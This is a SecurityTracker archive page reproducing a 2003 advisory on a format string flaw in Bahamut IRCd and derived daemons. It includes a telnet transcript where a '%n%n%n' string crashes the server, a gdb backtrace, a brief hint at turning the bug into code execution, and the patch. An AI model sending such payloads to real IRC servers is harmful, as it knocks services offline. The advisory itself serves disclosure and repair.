SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Join our Affiliate Program
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Instant Messaging/IRC/Chat)  >  Bahamut IRCd Vendors:  Bahamut Team
Bahamut IRCd Format String Flaw Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1007069
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jun 26 2003
Impact:  Denial of service via network, Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.4.35 and prior
Description:  A format string vulnerability was reported in Bahamut IRCd. A remote user can execute arbitrary code on the target server.

Bitnux and 0xbadc0ded reported a format string flaw resides in 'src/s_debug.c' and can be triggered if the server has been configured with DEBUGMODE defined. The software makes a syslog() call without specifying the format string and without filtering user-supplied input.

According to the report, a remote user can connect to the IRC server and send a specially crafted format string to trigger the flaw. A demonstration exploit transcript is provided:

[je@vudo ~]$ telnet 127.0.0.1 6667
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
:server.dal.net NOTICE AUTH :*** Looking up your hostname...
:server.dal.net NOTICE AUTH :*** Checking Ident
:server.dal.net NOTICE AUTH :*** Found your hostname
:server.dal.net NOTICE AUTH :*** No Ident response
%n%n%n
Connection closed by foreign host.
[je@vudo ~]$ telnet 127.0.0.1 6667
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
[je@vudo ~]$

It is reported that other IRC daemons based on Bahamut are affected, including digatech-1.2.1, methane-0.1.1, and AndromedeIRCd1.2.3-Release. The cs-ircd daemon was also affected and has been fixed in cs-ircd-0.1.1beta.

The following notification timeline is provided:

2003/06/25 Notified developers of the vulnerable IRC-daemons.
2003/06/26 Public release

Impact:  A remote user can cause the IRC server to crash or execute arbitrary code. The code will run with the privileges of the IRCd daemon.
Solution:  No solution was available at the time of this entry.

The author of the report has indicated that, as a workaround, you can edit the 'src/s_debug.c' file:

from:
syslog(LOG_ERR, debugbuf);

to:
syslog(LOG_ERR, "%s", debugbuf).

Vendor URL:  ircd-devel.dal.net/ (Links to External Site)
Cause:  Input validation error
Underlying OS:  Linux (Any), UNIX (Any)
Reported By:  Joel Eriksson <je-fulldisclosure@bitnux.com>
Message History:   None.


 Source Message Contents

Date:  Thu, 26 Jun 2003 12:57:55 +0200
From:  Joel Eriksson <je-fulldisclosure@bitnux.com>
Subject:  [Full-Disclosure] Bahamut IRCd &lt;= 1.4.35 and several derived daemons

 

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

==========================================================================
0xbadc0ded Advisory #01 - 2003/06/26 - Bahamut IRCd <= 1.4.35 and others
==========================================================================

Reference      http://0xbadc0ded.org/advisories/0301.txt
PGP-key        http://0xbadc0ded.org/advisories/pubkey.asc

Application    Bahamut IRCd <= 1.4.35 and several derived daemons
Discovered By  Anonymous 0xbadc0ded.org affiliate
Researched By  Joel Eriksson <je@bitnux.com>

Overview

  Bahamut IRCd is the official IRC daemon of DALnet and a popular ircd 
  in general. There are also a number of daemons based on Bahamut.

Problem

  A remotely exploitable format string vulnerability exists in the
  latest version of Bahamut (1.4.35 at the time of writing) and many
  IRC daemons derived from it. Of the five daemons we have investigated,
  four of them were vulnerable. These are:
  
    bahamut-1.4.35
    digatech-1.2.1
    methane-0.1.1
    AndromedeIRCd1.2.3-Release

  The following daemon had already fixed the bug:

    cs-ircd-0.1.1beta

  For the vulnerability to appear, the server must be compiled with
  DEBUGMODE defined. This is the vulnerable code in src/s_debug.c:

      if (level == DEBUG_ERROR)
          syslog(LOG_ERR, debugbuf);

  One way to trigger the bug is simply to connect to the server and
  send the format string to be sent through syslog(). This is due to
  the following in src/parse.c (from bahamut-1.4.35):

      Debug((DEBUG_ERROR, "Unknown (%s) from %s",
          ch, get_client_name(cptr, TRUE)));

Exploit

  A DoS-attack is simple, just send a string consisting of a few %n's
  and the server will die with a segmentation fault due to trying to
  dereference and write to a NULL-pointer. Example:

    [je@vudo ~]$ telnet 127.0.0.1 6667
    Trying 127.0.0.1...
    Connected to 127.0.0.1.
    Escape character is '^]'.
    :server.dal.net NOTICE AUTH :*** Looking up your hostname...
    :server.dal.net NOTICE AUTH :*** Checking Ident
    :server.dal.net NOTICE AUTH :*** Found your hostname
    :server.dal.net NOTICE AUTH :*** No Ident response
    %n%n%n
    Connection closed by foreign host.
    [je@vudo ~]$ telnet 127.0.0.1 6667
    Trying 127.0.0.1...
    telnet: Unable to connect to remote host: Connection refused
    [je@vudo ~]$ 

  And this is from a gdb-session on bahamut during the attack:

    Program received signal SIGSEGV, Segmentation fault.
    0x2f1e4e71 in vfprintf () from /lib/libc.so.6
    (gdb) x/i$pc
    0x2f1e4e71 <vfprintf+9857>:     mov    %ecx,(%eax)
    (gdb) i r eax
    eax            0x0      0
    (gdb) bt
    #0  0x2f1e4e71 in vfprintf () from /lib/libc.so.6
    #1  0x2f2711b2 in vsyslog () from /lib/libc.so.6
    #2  0x2f27101d in syslog () from /lib/libc.so.6
    #3  0x08064554 in debug (level=791434068, pattern=0x0) at s_debug.c:132
    #4  0x08057096 in parse (cptr=0x2f506440, buffer=0x2f506534 "%n%n%n", bufend=0x2f50653a
"") at parse.c:212 #5 0x08056f29 in client_dopacket (cptr=0x2f506440, buffer=0x0, length=9) at packet.c:236 #6 0x08060668 in do_client_queue (cptr=0x2f506440) at s_bsd.c:1410 #7 0x08061070 in read_message (delay=1, listp=0x81cddc0) at s_bsd.c:2131 #8 0x080551e8 in io_loop () at ircd.c:1211 #9 0x08054a8e in main (argc=0, argv=0x1) at ircd.c:991 #10 0x2f1aedc4 in __libc_start_main () from /lib/libc.so.6 (gdb) detach Detaching from program: /home/je/audit/bahamut-1.4.35/src/ircd, process 27284 To use this bug for executing code on the target you would have to be a bit more creative, since debugbuf is a global variable and thus not on the stack. One way would be to overwrite the saved ebp in debug() to control ebp in the function that called debug() and thus the eip when returning from there. Workaround Edit src/s_debug.c and change: syslog(LOG_ERR, debugbuf); to: syslog(LOG_ERR, "%s", debugbuf). Disclosure Timeline 2003/06/25 Notified developers of the vulnerable IRC-daemons. 2003/06/26 Public release ========================================================================== The 0xbadc0ded.org team is hosted and sponsored by Bitnux: www.bitnux.com ========================================================================== Bitnux is a newly founded company located in Sweden focused on security research and system development. We offer services such as: - Code Reviews - Exploit Development - Reverse Engineering of Code - Security Revisions of Systems and Software - Custom System Development for Unix/Linux/BSD and Windows E-mail : info@bitnux.com Phone : +46-70-228 64 16 Chat : http://bitnux.com/live -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE++sUWqnq6VG/4jhQRAn3tAJsFrarhYjnRL3b8jUuYiYgJCKbWagCdHMLF ymhvKVu6y1HsSDAwjxuGqRg= =YzI5 -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2002, SecurityGlobal.net LLC